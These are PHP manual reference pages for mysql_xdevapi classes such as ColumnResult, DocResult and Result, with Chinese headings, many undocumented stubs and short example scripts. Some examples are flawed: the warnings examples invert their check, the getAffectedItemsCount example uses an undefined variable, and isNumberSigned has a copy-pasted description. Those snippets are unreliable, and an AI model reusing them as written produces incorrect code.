
ColumnResult::getCharacterSetName

(No version information available, might only be in Git)

ColumnResult::getCharacterSetName — Get character set

说明

public mysql_xdevapi\ColumnResult::getCharacterSetName(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getCharacterSetName() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get collation name

  • ? ColumnResult::getCharacterSetName
  • ColumnResult::getColumnLabel ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get collation name

ColumnResult::getCollationName

(No version information available, might only be in Git)

ColumnResult::getCollationName — Get collation name

说明

public mysql_xdevapi\ColumnResult::getCollationName(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getCollationName() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get column label

  • ? ColumnResult::getCollationName
  • ColumnResult::getColumnName ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get column label

ColumnResult::getColumnLabel

(No version information available, might only be in Git)

ColumnResult::getColumnLabel — Get column label

说明

public mysql_xdevapi\ColumnResult::getColumnLabel(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getColumnLabel() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get column name

  • ? ColumnResult::getColumnLabel
  • ColumnResult::getFractionalDigits ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get column name

ColumnResult::getColumnName

(No version information available, might only be in Git)

ColumnResult::getColumnName — Get column name

说明

public mysql_xdevapi\ColumnResult::getColumnName(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getColumnName() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get fractional digit length

  • ? ColumnResult::getColumnName
  • ColumnResult::getLength ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get fractional digit length

ColumnResult::getFractionalDigits

(No version information available, might only be in Git)

ColumnResult::getFractionalDigits — Get fractional digit length

说明

public mysql_xdevapi\ColumnResult::getFractionalDigits(): int

Fetch the number of fractional digits for column.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getFractionalDigits() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get column field length

  • ? ColumnResult::getFractionalDigits
  • ColumnResult::getSchemaName ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get column field length

ColumnResult::getLength

(No version information available, might only be in Git)

ColumnResult::getLength — Get column field length

说明

public mysql_xdevapi\ColumnResult::getLength(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getLength() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get schema name

  • ? ColumnResult::getLength
  • ColumnResult::getTableLabel ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get schema name

ColumnResult::getSchemaName

(No version information available, might only be in Git)

ColumnResult::getSchemaName — Get schema name

说明

public mysql_xdevapi\ColumnResult::getSchemaName(): string

Fetch the schema name where the column is stored.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getSchemaName() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get table label

  • ? ColumnResult::getSchemaName
  • ColumnResult::getTableName ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get table label

ColumnResult::getTableLabel

(No version information available, might only be in Git)

ColumnResult::getTableLabel — Get table label

说明

public mysql_xdevapi\ColumnResult::getTableLabel(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getTableLabel() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get table name

  • ? ColumnResult::getTableLabel
  • ColumnResult::getType ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get table name

ColumnResult::getTableName

(No version information available, might only be in Git)

ColumnResult::getTableName — Get table name

说明

public mysql_xdevapi\ColumnResult::getTableName(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Name of the table for the column.

示例

Example #1 mysql_xdevapi\ColumnResult::getTableName() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get column type

  • ? ColumnResult::getTableName
  • ColumnResult::isNumberSigned ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Get column type

ColumnResult::getType

(No version information available, might only be in Git)

ColumnResult::getType — Get column type

说明

public mysql_xdevapi\ColumnResult::getType(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\ColumnResult::getType() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Check if signed type

  • ? ColumnResult::getType
  • ColumnResult::isPadded ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Check if signed type

ColumnResult::isNumberSigned

(No version information available, might only be in Git)

ColumnResult::isNumberSigned — Check if signed type

说明

public mysql_xdevapi\ColumnResult::isNumberSigned(): int

Retrieve a table's column information, and is instantiated by the RowResult::getColumns() method.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if a given column as a signed type.

示例

Example #1 mysql_xdevapi\ColumnResult::isNumberSigned() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Check if padded

  • ? ColumnResult::isNumberSigned
  • mysql_xdevapi\CrudOperationBindable ?
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • Check if padded

ColumnResult::isPadded

(No version information available, might only be in Git)

ColumnResult::isPadded — Check if padded

说明

public mysql_xdevapi\ColumnResult::isPadded(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if a given column is padded.

示例

Example #1 mysql_xdevapi\ColumnResult::isPadded() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationBindable interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CrudOperationBindable {
/* 方法 */
abstract public bind(array $placeholder_values): mysql_xdevapi\CrudOperationBindable
}

Table of Contents

  • CrudOperationBindable::bind — Bind value to placeholder

User Contributed Notes

There are no user contributed notes for this page.


Bind value to placeholder

  • ? mysql_xdevapi\CrudOperationBindable
  • mysql_xdevapi\CrudOperationLimitable ?
  • PHP Manual
  • mysql_xdevapi\CrudOperationBindable
  • Bind value to placeholder

CrudOperationBindable::bind

(No version information available, might only be in Git)

CrudOperationBindable::bind — Bind value to placeholder

说明

abstract public mysql_xdevapi\CrudOperationBindable::bind(array $placeholder_values): mysql_xdevapi\CrudOperationBindable

Binds a value to a specific placeholder.

Warning

本函数还未编写文档，仅有参数列表。

参数

placeholder_values

The name of the placeholders and the values to bind.

返回值

A CrudOperationBindable object.

示例

Example #1 mysql_xdevapi\CrudOperationBindable::bind() example

<?php

$res = $coll->modify('name like :name')->arrayInsert('job[0]', 'Calciatore')->bind(['name' => 'ENTITY'])->execute();
$res = $table->delete()->orderby('age desc')->where('age < 20 and age > 12 and name != :name')->bind(['name' => 'Tierney'])->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationLimitable interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CrudOperationLimitable {
/* 方法 */
abstract public limit(int $rows): mysql_xdevapi\CrudOperationLimitable
}

Table of Contents

  • CrudOperationLimitable::limit — Set result limit

User Contributed Notes

There are no user contributed notes for this page.


Set result limit

  • ? mysql_xdevapi\CrudOperationLimitable
  • mysql_xdevapi\CrudOperationSkippable ?
  • PHP Manual
  • mysql_xdevapi\CrudOperationLimitable
  • Set result limit

CrudOperationLimitable::limit

(No version information available, might only be in Git)

CrudOperationLimitable::limit — Set result limit

说明

abstract public mysql_xdevapi\CrudOperationLimitable::limit(int $rows): mysql_xdevapi\CrudOperationLimitable

Sets the maximum number of records or documents to return.

Warning

本函数还未编写文档，仅有参数列表。

参数

rows

The maximum number of records or documents.

返回值

A CrudOperationLimitable object.

示例

Example #1 mysql_xdevapi\CrudOperationLimitable::limit() example

<?php

$res = $coll->find()->fields(['name as n','age as a','job as j'])->groupBy('j')->limit(11)->execute();
$res = $table->update()->set('age',69)->where('age > 15 and age < 22')->limit(4)->orderby(['age asc','name desc'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationSkippable interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CrudOperationSkippable {
/* 方法 */
abstract public skip(int $skip): mysql_xdevapi\CrudOperationSkippable
}

Table of Contents

  • CrudOperationSkippable::skip — Number of operations to skip

User Contributed Notes

There are no user contributed notes for this page.


Number of operations to skip

  • ? mysql_xdevapi\CrudOperationSkippable
  • mysql_xdevapi\CrudOperationSortable ?
  • PHP Manual
  • mysql_xdevapi\CrudOperationSkippable
  • Number of operations to skip

CrudOperationSkippable::skip

(No version information available, might only be in Git)

CrudOperationSkippable::skip — Number of operations to skip

说明

abstract public mysql_xdevapi\CrudOperationSkippable::skip(int $skip): mysql_xdevapi\CrudOperationSkippable

Skip this number of records in the returned operation.

Warning

本函数还未编写文档，仅有参数列表。

参数

skip

Number of elements to skip.

返回值

A CrudOperationSkippable object.

示例

Example #1 mysql_xdevapi\CrudOperationSkippable::skip() example

<?php

$res = $coll->find('job like \'Programmatore\'')->limit(1)->skip(3)->sort('age asc')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationSortable interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\CrudOperationSortable {
/* 方法 */
abstract public sort(string $sort_expr): mysql_xdevapi\CrudOperationSortable
}

Table of Contents

  • CrudOperationSortable::sort — Sort results

User Contributed Notes

There are no user contributed notes for this page.


Sort results

  • ? mysql_xdevapi\CrudOperationSortable
  • mysql_xdevapi\DatabaseObject ?
  • PHP Manual
  • mysql_xdevapi\CrudOperationSortable
  • Sort results

CrudOperationSortable::sort

(No version information available, might only be in Git)

CrudOperationSortable::sort — Sort results

说明

abstract public mysql_xdevapi\CrudOperationSortable::sort(string $sort_expr): mysql_xdevapi\CrudOperationSortable

Sort the result set by the field selected in the sort_expr argument. The allowed orders are ASC (Ascending) or DESC (Descending). This operation is equivalent to the 'ORDER BY' SQL operation and it follows the same set of rules.

Warning

本函数还未编写文档，仅有参数列表。

参数

sort_expr

One or more sorting expressions can be provided. The evaluation is from left to right, and each expression is separated by a comma.

返回值

A CrudOperationSortable object.

示例

Example #1 mysql_xdevapi\CrudOperationSortable::sort() example

<?php

$res = $coll->find('job like \'Cavia\'')->sort('age desc', '_id desc')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


DatabaseObject interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\DatabaseObject {
/* 方法 */
abstract public existsInDatabase(): bool
abstract public getName(): string
abstract public getSession(): mysql_xdevapi\Session
}

Table of Contents

  • DatabaseObject::existsInDatabase — Check if object exists in database
  • DatabaseObject::getName — Get object name
  • DatabaseObject::getSession — Get session name

User Contributed Notes

There are no user contributed notes for this page.


Check if object exists in database

  • ? mysql_xdevapi\DatabaseObject
  • DatabaseObject::getName ?
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • Check if object exists in database

DatabaseObject::existsInDatabase

(No version information available, might only be in Git)

DatabaseObject::existsInDatabase — Check if object exists in database

说明

abstract public mysql_xdevapi\DatabaseObject::existsInDatabase(): bool

Verifies if the database object refers to an object that exists in the database.

参数

此函数没有参数。

返回值

Returns true if object exists in the database, else false if it does not.

示例

Example #1 mysql_xdevapi\DatabaseObject::existsInDatabase() example

<?php

$existInDb = $dbObj->existsInDatabase();

?>

User Contributed Notes

There are no user contributed notes for this page.


Get object name

  • ? DatabaseObject::existsInDatabase
  • DatabaseObject::getSession ?
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • Get object name

DatabaseObject::getName

(No version information available, might only be in Git)

DatabaseObject::getName — Get object name

说明

abstract public mysql_xdevapi\DatabaseObject::getName(): string

Fetch name of this database object.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The name of this database object.

示例

Example #1 mysql_xdevapi\DatabaseObject::getName() example

<?php

$dbObjName = $dbObj->getName();

?>

User Contributed Notes

There are no user contributed notes for this page.


Get session name

  • ? DatabaseObject::getName
  • mysql_xdevapi\DocResult ?
  • PHP Manual
  • mysql_xdevapi\DatabaseObject
  • Get session name

DatabaseObject::getSession

(No version information available, might only be in Git)

DatabaseObject::getSession — Get session name

说明

abstract public mysql_xdevapi\DatabaseObject::getSession(): mysql_xdevapi\Session

Fetch session associated to the database object.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The Session object.

示例

Example #1 mysql_xdevapi\DatabaseObject::getSession() example

<?php

$session = $dbObj->getSession();

?>

User Contributed Notes

There are no user contributed notes for this page.


DocResult class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\DocResult implements mysql_xdevapi\BaseResult, Traversable {
/* 方法 */
public fetchAll(): array
public fetchOne(): array
public getWarnings(): Array
public getWarningsCount(): int
}

Table of Contents

  • DocResult::__construct — DocResult constructor
  • DocResult::fetchAll — Get all rows
  • DocResult::fetchOne — Get one row
  • DocResult::getWarnings — Get warnings from last operation
  • DocResult::getWarningsCount — Get warning count from last operation

User Contributed Notes

There are no user contributed notes for this page.


DocResult constructor

  • ? mysql_xdevapi\DocResult
  • DocResult::fetchAll ?
  • PHP Manual
  • mysql_xdevapi\DocResult
  • DocResult constructor

DocResult::__construct

(No version information available, might only be in Git)

DocResult::__construct — DocResult constructor

说明

private mysql_xdevapi\DocResult::__construct()

Fetch document results and warnings, and is instantiated by CollectionFind.

参数

此函数没有参数。

示例

Example #1 A DocResult example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->limit(1)
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Get all rows

  • ? DocResult::__construct
  • DocResult::fetchOne ?
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Get all rows

DocResult::fetchAll

(No version information available, might only be in Git)

DocResult::fetchAll — Get all rows

说明

public mysql_xdevapi\DocResult::fetchAll(): array

Fetch all results from a result set.

参数

此函数没有参数。

返回值

A numerical array with all results from the query; each result is an associative array. An empty array is returned if no rows are present.

示例

Example #1 mysql_xdevapi\DocResult::fetchAll() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

var_dump($result->fetchAll());
?>

以上示例的输出类似于：

array(2) {

  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000123"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }

  [1]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000122"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }

}

User Contributed Notes

There are no user contributed notes for this page.


Get one row

  • ? DocResult::fetchAll
  • DocResult::getWarnings ?
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Get one row

DocResult::fetchOne

(No version information available, might only be in Git)

DocResult::fetchOne — Get one row

说明

public mysql_xdevapi\DocResult::fetchOne(): array

Fetch one result from a result set.

参数

此函数没有参数。

返回值

The result, as an associative array or null if no results are present.

示例

Example #1 mysql_xdevapi\DocResult::fetchOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

var_dump($result->fetchOne());
?>

以上示例的输出类似于：

array(4) {
  ["_id"]=>
  string(28) "00005b6b53610000000000000125"
  ["age"]=>
  int(42)
  ["job"]=>
  string(6) "Butler"
  ["name"]=>
  string(8) "Reginald"
}

User Contributed Notes

There are no user contributed notes for this page.


Get warnings from last operation

  • ? DocResult::fetchOne
  • DocResult::getWarningsCount ?
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Get warnings from last operation

DocResult::getWarnings

(No version information available, might only be in Git)

DocResult::getWarnings — Get warnings from last operation

说明

public mysql_xdevapi\DocResult::getWarnings(): Array

Fetches warnings generated by MySQL server's last operation.

参数

此函数没有参数。

返回值

An array of Warning objects from the last operation. Each object defines an error 'message', error 'level', and error 'code'. An empty array is returned if no errors are present.

示例

Example #1 mysql_xdevapi\DocResult::getWarnings() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

if (!$result->getWarningsCount()) {
echo "There was an error:\n";
print_r($result->getWarnings());
exit;
}

var_dump($result->fetchOne());
?>

以上示例的输出类似于：

There was an error:

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Something bad and so on
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Something bad and so on
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get warning count from last operation

  • ? DocResult::getWarnings
  • mysql_xdevapi\Exception ?
  • PHP Manual
  • mysql_xdevapi\DocResult
  • Get warning count from last operation

DocResult::getWarningsCount

(No version information available, might only be in Git)

DocResult::getWarningsCount — Get warning count from last operation

说明

public mysql_xdevapi\DocResult::getWarningsCount(): int

Returns the number of warnings raised by the last operation. Specifically, these warnings are raised by the MySQL server.

参数

此函数没有参数。

返回值

The number of warnings from the last operation.

示例

Example #1 mysql_xdevapi\DocResult::getWarningsCount() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$create->add('{"name": "Reginald", "age": 42, "job": "Butler"}')->execute();

// ...

$collection = $schema->getCollection("people");

// Yields a DocResult object
$result = $collection
->find('job like :job and age > :age')
->bind(['job' => 'Butler', 'age' => 16])
->sort('age desc')
->execute();

if (!$result->getWarningsCount()) {
echo "There was an error:\n";
print_r($result->getWarnings());
exit;
}

var_dump($result->fetchOne());
?>

以上示例的输出类似于：

array(4) {
  ["_id"]=>
  string(28) "00005b6b53610000000000000135"
  ["age"]=>
  int(42)
  ["job"]=>
  string(6) "Butler"
  ["name"]=>
  string(8) "Reginald"
}

User Contributed Notes

There are no user contributed notes for this page.


Exception class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Exception extends RuntimeException implements Throwable {
}

User Contributed Notes

There are no user contributed notes for this page.


Executable interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Executable {
/* 方法 */
abstract public execute(): mysql_xdevapi\Result
}

Table of Contents

  • Executable::execute — Execute statement

User Contributed Notes

There are no user contributed notes for this page.


Execute statement

  • ? mysql_xdevapi\Executable
  • mysql_xdevapi\ExecutionStatus ?
  • PHP Manual
  • mysql_xdevapi\Executable
  • Execute statement

Executable::execute

(No version information available, might only be in Git)

Executable::execute — Execute statement

说明

abstract public mysql_xdevapi\Executable::execute(): mysql_xdevapi\Result

Execute the statement from either a collection operation or a table query; this functionality allows for method chaining.

参数

此函数没有参数。

返回值

One of the Result objects, such as Result or SqlStatementResult.

示例

Example #1 execute() examples

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$result_sql = $session->sql("CREATE DATABASE addressbook")->execute();

var_dump($result_sql);

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("humans");

$result_collection = $collection->add(
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}');

$result_collection_executed = $result_collection->execute();

var_dump($result_collection);
var_dump($result_collection_executed);
?>

以上示例的输出类似于：

object(mysql_xdevapi\SqlStatementResult)#3 (0) {
}

object(mysql_xdevapi\CollectionAdd)#5 (0) {
}

object(mysql_xdevapi\Result)#7 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


ExecutionStatus class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\ExecutionStatus {
/* 属性 */
public $affectedItems;
public $matchedItems;
public $foundItems;
public $lastInsertId;
public $lastDocumentId;
/* Constructor */
private __construct()
}

属性

affectedItems

matchedItems

foundItems

lastInsertId

lastDocumentId

Table of Contents

  • ExecutionStatus::__construct — ExecutionStatus constructor

User Contributed Notes

There are no user contributed notes for this page.


ExecutionStatus constructor

  • ? mysql_xdevapi\ExecutionStatus
  • mysql_xdevapi\Expression ?
  • PHP Manual
  • mysql_xdevapi\ExecutionStatus
  • ExecutionStatus constructor

ExecutionStatus::__construct

(No version information available, might only be in Git)

ExecutionStatus::__construct — ExecutionStatus constructor

说明

private mysql_xdevapi\ExecutionStatus::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\ExecutionStatus::__construct() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Expression class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Expression {
/* 属性 */
public $name;
/* Constructor */
public __construct(string $expression)
}

属性

name

Table of Contents

  • Expression::__construct — Expression constructor

User Contributed Notes

There are no user contributed notes for this page.


Expression constructor

  • ? mysql_xdevapi\Expression
  • mysql_xdevapi\Result ?
  • PHP Manual
  • mysql_xdevapi\Expression
  • Expression constructor

Expression::__construct

(No version information available, might only be in Git)

Expression::__construct — Expression constructor

说明

public mysql_xdevapi\Expression::__construct(string $expression)

Warning

本函数还未编写文档，仅有参数列表。

参数

expression

示例

Example #1 mysql_xdevapi\Expression::__construct() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Result class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Result implements mysql_xdevapi\BaseResult, Traversable {
/* 方法 */
public getAffectedItemsCount(): int
public getAutoIncrementValue(): int
public getGeneratedIds(): array
public getWarnings(): array
public getWarningsCount(): int
}

Table of Contents

  • Result::__construct — Result constructor
  • Result::getAffectedItemsCount — Get affected row count
  • Result::getAutoIncrementValue — Get autoincremented value
  • Result::getGeneratedIds — Get generated ids
  • Result::getWarnings — Get warnings from last operation
  • Result::getWarningsCount — Get warning count from last operation

User Contributed Notes

There are no user contributed notes for this page.


Result constructor

  • ? mysql_xdevapi\Result
  • Result::getAffectedItemsCount ?
  • PHP Manual
  • mysql_xdevapi\Result
  • Result constructor

Result::__construct

(No version information available, might only be in Git)

Result::__construct — Result constructor

说明

private mysql_xdevapi\Result::__construct()

An object that retrieves generated IDs, AUTO_INCREMENT values, and warnings, for a Result set.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Result::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("
CREATE TABLE addressbook.names
(id INT NOT NULL AUTO_INCREMENT, name VARCHAR(30), age INT, PRIMARY KEY (id))
")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->insert("name", "age")->values(["Suzanne", 31],["Julie", 43])->execute();
$result = $table->insert("name", "age")->values(["Suki", 34])->execute();

$ai = $result->getAutoIncrementValue();
var_dump($ai);
?>

以上示例会输出：

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get affected row count

  • ? Result::__construct
  • Result::getAutoIncrementValue ?
  • PHP Manual
  • mysql_xdevapi\Result
  • Get affected row count

Result::getAffectedItemsCount

(No version information available, might only be in Git)

Result::getAffectedItemsCount — Get affected row count

说明

public mysql_xdevapi\Result::getAffectedItemsCount(): int

Get the number of affected rows by the previous operation.

参数

此函数没有参数。

返回值

The number (as an integer) of affected rows.

示例

Example #1 mysql_xdevapi\Result::getAffectedItemsCount() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

var_dump( $res->getAffectedItemsCount() );
?>

以上示例会输出：

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Get autoincremented value

  • ? Result::getAffectedItemsCount
  • Result::getGeneratedIds ?
  • PHP Manual
  • mysql_xdevapi\Result
  • Get autoincremented value

Result::getAutoIncrementValue

(No version information available, might only be in Git)

Result::getAutoIncrementValue — Get autoincremented value

说明

public mysql_xdevapi\Result::getAutoIncrementValue(): int

Get the last AUTO_INCREMENT value (last insert id).

参数

此函数没有参数。

返回值

The last AUTO_INCREMENT value.

示例

Example #1 mysql_xdevapi\Result::getAutoIncrementValue() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("
CREATE TABLE addressbook.names
(id INT NOT NULL AUTO_INCREMENT, name VARCHAR(30), age INT, PRIMARY KEY (id))
")->execute();

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");

$result = $table->insert("name", "age")->values(["Suzanne", 31],["Julie", 43])->execute();
$result = $table->insert("name", "age")->values(["Suki", 34])->execute();

$ai = $result->getAutoIncrementValue();
var_dump($ai);
?>

以上示例会输出：

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Get generated ids

  • ? Result::getAutoIncrementValue
  • Result::getWarnings ?
  • PHP Manual
  • mysql_xdevapi\Result
  • Get generated ids

Result::getGeneratedIds

(No version information available, might only be in Git)

Result::getGeneratedIds — Get generated ids

说明

public mysql_xdevapi\Result::getGeneratedIds(): array

Fetch the generated _id values from the last operation. The unique _id field is generated by the MySQL server.

参数

此函数没有参数。

返回值

An array of generated _id's from the last operation, or an empty array if there are none.

示例

Example #1 mysql_xdevapi\Result::getGeneratedIds() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')->execute();

$ids = $result->getGeneratedIds();
var_dump($ids);
?>

以上示例的输出类似于：

array(2) {
  [0]=>
  string(28) "00005b6b53610000000000000064"
  [1]=>
  string(28) "00005b6b53610000000000000065"
}

User Contributed Notes

There are no user contributed notes for this page.


Get warnings from last operation

  • ? Result::getGeneratedIds
  • Result::getWarningsCount ?
  • PHP Manual
  • mysql_xdevapi\Result
  • Get warnings from last operation

